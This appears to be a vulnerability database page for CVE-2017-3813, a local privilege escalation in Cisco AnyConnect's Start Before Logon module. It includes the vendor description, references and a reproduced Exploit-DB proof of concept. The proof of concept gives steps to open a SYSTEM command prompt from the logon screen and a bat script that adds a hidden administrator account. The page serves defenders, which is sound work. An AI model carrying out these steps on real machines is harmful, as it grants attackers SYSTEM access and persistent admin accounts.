CVE-2017-3813
Description
A vulnerability in the Start Before Logon (SBL) module of Cisco AnyConnect Secure Mobility Client Software for Windows could allow an unauthenticated, local attacker to open Internet Explorer with the privileges of the SYSTEM user. The vulnerability is due to insufficient implementation of the access controls. An attacker could exploit this vulnerability by opening the Internet Explorer browser. An exploit could allow the attacker to use Internet Explorer with the privileges of the SYSTEM user. This may allow the attacker to execute privileged commands on the targeted system. This vulnerability affects versions prior to released versions 4.4.00243 and later and 4.3.05017 and later. Cisco Bug IDs: CSCvc43976.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Cisco AnyConnect Secure Mobility Client 4.3.04027 - Local Privilege Escalation
# Exploit Title: Cisco AnyConnect Start Before Logon (SBL) local privilege escalation. CVE-2017-3813
# Date: 02/27/2017
# Exploit Author: @Pcchillin
# Software Link: http://www.cisco.com/c/en/us/support/security/anyconnect-secure-mobility-client/tsd-products-support-series-home.html
# Version: 4.3.04027 and earlier
# Tested on: Windows 10
# CVE : CVE-2017-3813
# Vendor ID : cisco-sa-20170208-anyconnect
#Run CMD.EXE with system privileges
1. Start Cisco anyconnect from logon screen.
2. Once the Cisco app comes up (where you can select a profile and hit connect) hold CTRL and hit B.
3. When the Cisco about window appears then select the URL at the bottom. This will open Internet Explorer or you can select Chrome if installed.
4. Once Internet Explorer is started press CTRL-O, then select browse. Chrome press CTRL-O and explorer will open.
5. You can then navigate to the C:\Windows\System32\ folder and find CMD.exe then right click and select RunAsAdministrator.
#Run scripts from USB flash drive
Follow steps from above and navigate to the flash drive right click and select run. You can also edit the document.
Example bat script:
Net user #USERNAME #PASSWORD /add
Net localgroup administrators #USERNAME /add
#Vendor link to advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170208-anyconnect
#Twitter handle @pcchillinApplication impact
References
- http://www.securityfocus.com/bid/96145
- http://www.securitytracker.com/id/1037796
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170208-anyconnect
- https://www.exploit-db.com/exploits/41476/
- http://www.securityfocus.com/bid/96145
- http://www.securitytracker.com/id/1037796
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170208-anyconnect
- https://www.exploit-db.com/exploits/41476/
CWEs
CWE-264 CWE-862
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.